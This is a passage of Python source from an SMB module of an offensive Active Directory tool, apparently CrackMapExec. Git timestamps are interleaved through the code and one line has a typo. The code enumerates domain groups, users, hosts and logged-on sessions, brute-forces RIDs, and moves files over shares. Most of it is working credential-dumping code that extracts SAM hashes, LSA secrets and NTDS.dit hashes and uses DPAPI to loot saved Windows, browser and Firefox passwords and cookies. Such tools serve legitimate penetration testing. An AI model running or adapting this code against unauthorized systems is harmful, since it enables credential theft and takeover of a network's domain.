self.db.add_credential("plaintext", domain, name, "", group_id, "")
2017-03-27 21:09:36 +00:00
elif group.isgroup:
self.db.add_group(domain, name, member_count_ad=group.membercount)
break
except SessionError as e:
self.logger.error(f"Error connecting via SMB: {e}")
2017-03-27 21:09:36 +00:00
except Exception as e:
self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e))
self.logger.info('Trying with SAMRPC protocol')
groups = SamrFunc(self).get_local_groups()
if groups:
self.logger.success('Enumerated local groups')
logging.debug(f"Local groups: {groups}")
for group_name, group_rid in groups.items():
group_id = self.db.add_group(
self.hostname,
group_name,
rid=group_rid
)[0]
logging.debug(f"Added group, returned id: {group_id}")
return groups
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def domainfromdsn(self, dsn):
dsnparts = dsn.split(',')
domain = ""
for part in dsnparts:
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k, v = part.split("=")
if k == "DC":
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if domain == "":
domain = v
else:
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domain = domain + "." + v
return domain
def domainfromdnshostname(self, dns):
dnsparts = dns.split(".")
domain = ".".join(dnsparts[1:])
return domain, dnsparts[0] + "$"
def groups(self):
groups = []
for dc_ip in self.get_dc_ips():
if self.args.groups:
try:
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groups = get_netgroupmember(
dc_ip,
self.domain,
self.username,
password=self.password,
lmhash=self.lmhash,
nthash=self.nthash,
queried_groupname=self.args.groups,
queried_sid=str(),
queried_domain=str(),
ads_path=str(),
recurse=False,
use_matching_rule=False,
full_data=False,
custom_filter=str()
)
self.logger.success('Enumerated members of domain group')
for group in groups:
member_count = len(group.member) if hasattr(group, 'member') else 0
self.logger.highlight('{}\\{}'.format(
group.memberdomain,
group.membername
))
try:
group_id = self.db.get_groups(
group_name=self.args.groups,
group_domain=group.groupdomain
)[0][0]
except IndexError:
group_id = self.db.add_group(
group.groupdomain,
self.args.groups,
member_count_ad=member_count
)[0]
if not group.isgroup:
self.db.add_credential("plaintext", group.memberdomain, group.membername, "", group_id, "")
elif group.isgroup:
group_id = self.db.add_group(
group.groupdomain,
group.groupname,
member_count_ad=member_count
)[0]
break
except Exception as e:
self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e))
else:
try:
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groups = get_netgroup(
dc_ip,
self.domain,
self.username,
password=self.password,
lmhash=self.lmhash,
nthash=self.nthash,
queried_groupname=str(),
queried_sid=str(),
queried_username=str(),
queried_domain=str(),
ads_path=str(),
admin_count=False,
full_data=True,
custom_filter=str()
)
self.logger.success('Enumerated domain group(s)')
for group in groups:
member_count = len(group.member) if hasattr(group, 'member') else 0
self.logger.highlight('{:<40} membercount: {}'.format(
group.samaccountname,
member_count
))
if bool(group.isgroup) is True:
# Since there isn't a groupmember attribute on the returned object from get_netgroup
2023-03-04 14:11:31 +00:00
# we grab it from the distinguished name
domain = self.domainfromdsn(group.distinguishedname)
group_id = self.db.add_group(
domain,
group.samaccountname,
member_count_ad=member_count
)[0]
break
except Exception as e:
self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e))
return groups
2017-03-27 21:09:36 +00:00
def users(self):
users = []
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self.logger.info('Trying do dump local users with SAMRPC protocol')
users = UserSamrDump(self).dump()
return users
def hosts(self):
hosts = []
for dc_ip in self.get_dc_ips():
try:
hosts = get_netcomputer(
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dc_ip,
self.domain,
self.username,
password=self.password,
lmhash=self.lmhash,
nthash=self.nthash,
queried_domain='',
ads_path=str(),
custom_filter=str()
)
self.logger.success('Enumerated domain computer(s)')
for hosts in hosts:
domain, host_clean = self.domainfromdnshostname(hosts.dnshostname)
self.logger.highlight('{}\\{:<30}'.format(domain, host_clean))
break
except Exception as e:
self.logger.error('Error enumerating domain hosts using dc ip {}: {}'.format(dc_ip, e))
break
return hosts
2017-03-27 21:09:36 +00:00
def loggedon_users(self):
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logged_on = []
try:
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logged_on = get_netloggedon(
self.host,
self.domain,
self.username,
self.password,
lmhash=self.lmhash,
nthash=self.nthash
)
self.logger.success('Enumerated logged_on users')
if self.args.loggedon_users_filter:
for user in logged_on:
if re.match(self.args.loggedon_users_filter, user.wkui1_username):
self.logger.highlight('{}\\{:<25} {}'.format(
user.wkui1_logon_domain,
user.wkui1_username,
'logon_server: {}'.format(
user.wkui1_logon_server
) if user.wkui1_logon_server else '')
)
else:
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for user in logged_on:
self.logger.highlight('{}\\{:<25} {}'.format(
user.wkui1_logon_domain,
user.wkui1_username,
'logon_server: {}'.format(
user.wkui1_logon_server
) if user.wkui1_logon_server else '')
)
except Exception as e:
self.logger.error('Error enumerating logged on users: {}'.format(e))
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return logged_on
def pass_pol(self):
return PassPolDump(self).dump()
def wmi(self, wmi_query=None, namespace=None):
records = []
if not namespace:
namespace = self.args.wmi_namespace
try:
rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
rpc._create_wmi_connection(namespace=namespace)
if wmi_query:
query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY)
else:
query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY)
except Exception as e:
self.logger.error('Error creating WMI connection: {}'.format(e))
return records
while True:
try:
wmi_results = query.Next(0xffffffff, 1)[0]
record = wmi_results.getProperties()
records.append(record)
for k, v in record.items():
self.logger.highlight('{} => {}'.format(k, v['value']))
self.logger.highlight('')
except Exception as e:
if str(e).find('S_FALSE') < 0:
raise e
else:
break
return records
def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, only_files=True):
spider = SMBSpider(self.conn, self.logger)
self.logger.info('Started spidering')
start_time = time()
if not share:
spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern,
self.args.regex, self.args.exclude_dirs, self.args.depth,
self.args.content, self.args.only_files)
else:
spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files)
self.logger.info("Done spidering (Completed in {})".format(time() - start_time))
return spider.results
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def rid_brute(self, max_rid=None):
entries = []
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if not max_rid:
max_rid = int(self.args.rid_brute)
KNOWN_PROTOCOLS = {
135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False},
139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
}
try:
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string_binding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host)
logging.debug('StringBinding {}'.format(string_binding))
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.args.port)
if KNOWN_PROTOCOLS[self.args.port]['set_host']:
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rpc_transport.setRemoteHost(self.host)
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if hasattr(rpc_transport, 'set_credentials'):
# This method exists only for selected protocol sequences.
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rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
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dce = rpc_transport.get_dce_rpc()
dce.connect()
except Exception as e:
self.logger.error('Error creating DCERPC connection: {}'.format(e))
return entries
# Want encryption? Uncomment next line
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# But make simultaneous variable <= 100
# dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
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# dce.set_max_fragment_size(32)
dce.bind(lsat.MSRPC_UUID_LSAT)
try:
resp = lsad.hLsarOpenPolicy2(
dce,
MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
)
except lsad.DCERPCSessionError as e:
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self.logger.error(f"Error connecting: {e}")
return entries
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policy_handle = resp['PolicyHandle']
resp = lsad.hLsarQueryInformationPolicy2(
dce,
policy_handle,
lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
)
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domain_sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
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so_far = 0
simultaneous = 1000
for j in range(max_rid // simultaneous + 1):
if (max_rid - so_far) // simultaneous == 0:
sids_to_check = (max_rid - so_far) % simultaneous
else:
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sids_to_check = simultaneous
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if sids_to_check == 0:
break
sids = list()
for i in range(so_far, so_far + sids_to_check):
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sids.append(domain_sid + '-%d' % i)
try:
lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException as e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
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so_far += simultaneous
continue
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
rid = so_far + n
domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']
user = item['Name']
sid_type = SID_NAME_USE.enumItems(item['Use']).name
self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type))
entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type})
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so_far += simultaneous
dce.disconnect()
return entries
2020-04-28 16:22:30 +00:00
def put_file(self):
self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
with open(self.args.put_file[0], 'rb') as file:
try:
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{elf.args.share}\\{self.args.put_file[1]}")
2020-04-28 16:22:30 +00:00
except Exception as e:
self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e))
def get_file(self):
self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
file_handle = self.args.get_file[1]
if self.args.append_host:
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file_handle = self.hostname + "-" + self.args.get_file[1]
with open(file_handle, 'wb+') as file:
2020-04-28 16:22:30 +00:00
try:
self.conn.getFile(self.args.share, self.args.get_file[0], file.write)
self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], file_handle))
2020-04-28 16:22:30 +00:00
except Exception as e:
self.logger.error('Error reading file {}: {}'.format(self.args.share, e))
def enable_remoteops(self):
if self.remote_ops is not None and self.bootkey is not None:
return
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
self.remote_ops.enableRegistry()
self.bootkey = self.remote_ops.getBootKey()
except Exception as e:
self.logger.error('RemoteOperations failed: {}'.format(e))
@requires_admin
def sam(self):
self.enable_remoteops()
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
2017-03-27 21:09:36 +00:00
def add_sam_hash(sam_hash, host_id):
add_sam_hash.sam_hashes += 1
self.logger.highlight(sam_hash)
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username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
2017-03-27 21:09:36 +00:00
self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
2017-03-27 21:09:36 +00:00
add_sam_hash.sam_hashes = 0
if self.remote_ops and self.bootkey:
2023-03-04 14:11:31 +00:00
SAM_file_name = self.remote_ops.saveSAM()
SAM = SAMHashes(
SAM_file_name,
self.bootkey,
isRemote=True,
perSecretCallback=lambda secret: add_sam_hash(secret, host_id))
2017-03-27 21:09:36 +00:00
self.logger.success('Dumping SAM hashes')
SAM.dump()
SAM.export(self.output_filename)
self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))
try:
self.remote_ops.finish()
except Exception as e:
2017-03-27 21:09:36 +00:00
logging.debug("Error calling remote_ops.finish(): {}".format(e))
SAM.finish()
2023-02-07 11:06:42 +00:00
@requires_admin
def dpapi(self):
2023-02-08 08:14:18 +00:00
logging.getLogger("dploot").disabled = True
2023-03-04 14:11:31 +00:00
2023-02-07 14:32:19 +00:00
if self.args.pvk is not None:
try:
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self.pvkbytes = open(self.args.pvk, 'rb').read()
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
2023-02-07 14:32:19 +00:00
except Exception as e:
logging.error(str(e))
masterkeys = []
if self.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.args.mkfile)
except Exception as e:
self.logger.error(str(e))
if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False:
try:
results = self.db.get_domain_backupkey(self.domain)
except:
logging.error("Your version of CMEDB is not up to date, run cmedb and create a new workspace: \
'workspace create dpapi' then re-run the dpapi option")
return False
2023-02-22 11:56:24 +00:00
if len(results) > 0:
self.logger.success("Loading domain backupkey from cmedb...")
self.pvkbytes = results[0][2]
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else:
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try:
dc_target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.domain, # querying DNS server for domain will return DC
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
2023-02-22 11:56:24 +00:00
)
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dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
2023-02-23 09:38:44 +00:00
if dc_conn.is_admin():
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self.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
self.db.add_domain_backupkey(self.domain, self.pvkbytes)
else:
self.no_da = False
except Exception as e:
logging.debug(f"Could not get domain backupkey: {e}")
2023-02-22 11:56:24 +00:00
pass
2023-02-07 14:32:19 +00:00
2023-02-07 11:06:42 +00:00
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
2023-02-07 11:06:42 +00:00
)
2023-02-14 10:15:14 +00:00
try:
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conn = DPLootSMBConnection(target)
2023-02-14 10:15:14 +00:00
conn.smb_session = self.conn
except Exception as e:
self.logger.debug("Could not upgrade connection: {}".format(e))
return
2023-02-07 11:06:42 +00:00
plaintexts = {
username: password for _,
_,
username,
password,
_,
_ in self.db.get_credentials(cred_type="plaintext")
}
nthashes = {
username: nt.split(':')[1] if ':' in nt else nt for _,
_, username,
nt,
_,
_ in self.db.get_credentials(cred_type="hash")
}
2023-02-07 13:51:01 +00:00
if self.password != '':
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plaintexts[self.username] = self.password
2023-02-07 13:51:01 +00:00
if self.nthash != '':
2023-02-07 11:06:42 +00:00
nthashes[self.username] = self.nthash
# Collect User and Machine masterkeys
2023-02-08 08:14:18 +00:00
try:
2023-02-19 13:33:05 +00:00
self.logger.success("Collecting User and Machine masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes
)
logging.debug(f"Masterkeys Triage: {masterkeys_triage}")
2023-02-08 08:14:18 +00:00
masterkeys += masterkeys_triage.triage_masterkeys()
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
logging.debug(f"Could not get masterkeys: {e}")
2023-02-08 08:14:18 +00:00
if len(masterkeys) == 0:
logging.error("No masterkeys looted")
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return
2023-02-07 11:06:42 +00:00
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets")
2023-02-07 11:06:42 +00:00
2023-02-08 08:14:18 +00:00
try:
# Collect User and Machine Credentials Manager secrets
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys)
logging.debug(f"Credentials Triage Object: {credentials_triage}")
2023-02-08 08:14:18 +00:00
credentials = credentials_triage.triage_credentials()
logging.debug(f"Triaged Credentials: {credentials}")
2023-02-08 08:14:18 +00:00
system_credentials = credentials_triage.triage_system_credentials()
logging.debug(f"Triaged System Credentials: {system_credentials}")
2023-02-08 08:14:18 +00:00
except Exception as e:
logging.debug(f"Error while looting credentials: {e}")
2023-02-14 10:15:14 +00:00
for credential in credentials:
self.logger.highlight("[%s][CREDENTIAL] %s - %s:%s" % (
credential.winuser,
credential.target,
credential.username,
credential.password
))
self.db.add_dpapi_secrets(
target.address,
"CREDENTIAL",
credential.winuser,
credential.username,
credential.password,
credential.target
)
2023-02-14 10:15:14 +00:00
for credential in system_credentials:
self.logger.highlight(
f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}"
)
self.db.add_dpapi_secrets(
target.address,
"CREDENTIAL",
"SYSTEM",
credential.username,
credential.password,
credential.target
)
2023-02-08 08:14:18 +00:00
try:
# Collect Chrome Based Browser stored secrets
2023-02-19 20:35:37 +00:00
dump_cookies = True if self.args.dpapi == "cookies" else False
2023-02-08 08:14:18 +00:00
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys)
2023-02-19 20:35:37 +00:00
browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies)
2023-02-08 08:14:18 +00:00
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
2023-02-14 10:15:14 +00:00
for credential in browser_credentials:
cred_url = credential.url + ' -' if credential.url != '' else '-'
self.logger.highlight(
f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}"
)
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url
)
2023-03-04 14:11:31 +00:00
2023-02-19 20:35:37 +00:00
if dump_cookies:
self.logger.info("Start Dumping Cookies")
for cookie in cookies:
self.logger.highlight(
f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}"
)
2023-02-19 20:35:37 +00:00
self.logger.info("End Dumping Cookies")
2023-02-08 08:14:18 +00:00
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys)
vaults = vaults_triage.triage_vaults()
except Exception as e:
self.logger.debug(f"Error while looting vaults: {e}")
2023-02-14 10:15:14 +00:00
for vault in vaults:
if vault.type == 'Internet Explorer':
resource = vault.resource + ' -' if vault.resource != '' else '-'
self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}")
self.db.add_dpapi_secrets(
target.address,
'IEX',
vault.winuser,
vault.username,
vault.password,
vault.resource
)
2023-02-08 08:14:18 +00:00
2023-02-13 10:48:12 +00:00
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn)
firefox_credentials = firefox_triage.run()
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
2023-02-14 10:15:14 +00:00
for credential in firefox_credentials:
url = credential.url + ' -' if credential.url != '' else '-'
self.logger.highlight(
f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}"
)
self.db.add_dpapi_secrets(
target.address,
'FIREFOX',
credential.winuser,
credential.username,
credential.password,
credential.url
)
2023-02-13 10:48:12 +00:00
@requires_admin
def lsa(self):
self.enable_remoteops()
2017-03-27 21:09:36 +00:00
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
self.logger.highlight(secret)
2022-12-14 20:45:51 +00:00
if "_SC_GMSA_{84A78B8C" in secret:
gmsa_id = secret.split("_")[4].split(":")[0]
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob['CurrentPassword'][:-2]
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
2022-12-14 20:45:51 +00:00
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
2023-02-05 09:44:07 +00:00
self.logger.highlight("GMSA ID: {:<20} NTLM: {}".format(gmsa_id, passwd))
2017-03-27 21:09:36 +00:00
add_lsa_secret.secrets = 0
if self.remote_ops and self.bootkey:
2017-03-27 21:09:36 +00:00
SECURITYFileName = self.remote_ops.saveSECURITY()
LSA = LSASecrets(
SECURITYFileName,
self.bootkey,
self.remote_ops,
isRemote=True,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret)
)
2017-03-27 21:09:36 +00:00
self.logger.success('Dumping LSA secrets')
LSA.dumpCachedHashes()
LSA.exportCached(self.output_filename)
LSA.dumpSecrets()
LSA.exportSecrets(self.output_filename)
self.logger.success(
f"Dumped {highlight(add_lsa_secret.secrets)} \
LSA secrets to {self.output_filename + '.secrets'} \
and {self.output_filename + '.cached'}"
2023-03-04 14:11:31 +00:00
)
2017-03-27 21:09:36 +00:00
try:
self.remote_ops.finish()
except Exception as e:
2017-03-27 21:09:36 +00:00
logging.debug("Error calling remote_ops.finish(): {}".format(e))
LSA.finish()
def ntds(self):
self.enable_remoteops()
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use_vss_method = False
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NTDSFileName = None
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
def add_ntds_hash(ntds_hash, host_id):
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add_ntds_hash.ntds_hashes += 1
if self.args.enabled:
if "Enabled" in ntds_hash:
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
else:
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
if ntds_hash.find('$') == -1:
if ntds_hash.find('\\') != -1:
domain, hash = ntds_hash.split('\\')
else:
domain = self.domain
hash = ntds_hash
try:
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username, _, lmhash, nthash, _, _, _ = hash.split(':')
parsed_hash = ':'.join((lmhash, nthash))
if validate_ntlm(parsed_hash):
self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except:
logging.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
logging.debug("Dumped hash is a computer account, not adding to db")
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add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
if self.remote_ops:
try:
if self.args.ntds == 'vss':
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NTDSFileName = self.remote_ops.saveNTDS()
use_vss_method = True
except Exception as e:
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# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
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# resumeFile = NTDS.getResumeSessionFile()
# if resumeFile is not None:
# os.unlink(resumeFile)
self.logger.error(e)
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NTDS = NTDSHashes(
NTDSFileName,
self.bootkey,
isRemote=True,
history=False,
noLMHash=True,
remoteOps=self.remote_ops,
useVSSMethod=use_vss_method,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=self.output_filename,
justUser=self.args.userntds if self.args.userntds else None,
printUserStatus=True,
perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret, host_id)
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)
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try:
self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...')
NTDS.dump()
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self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(
highlight(add_ntds_hash.ntds_hashes),
self.output_filename + '.ntds',
highlight(add_ntds_hash.added_to_db)
))
self.logger.info("To extract only enabled accounts from the output file, run the following command: ")
self.logger.info(f"cat {self.output_filename + '.ntds'} | grep -iv disabled | cut -d ':' -f1")
self.logger.info(f"grep -iv disabled {self.output_filename + '.ntds'} | cut -d ':' -f1")
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except Exception as e:
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# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
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# resumeFile = NTDS.getResumeSessionFile()
# if resumeFile is not None:
# os.unlink(resumeFile)
self.logger.error(e)
try:
self.remote_ops.finish()
except Exception as e:
logging.debug(f"Error calling remote_ops.finish(): {e}")
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NTDS.finish()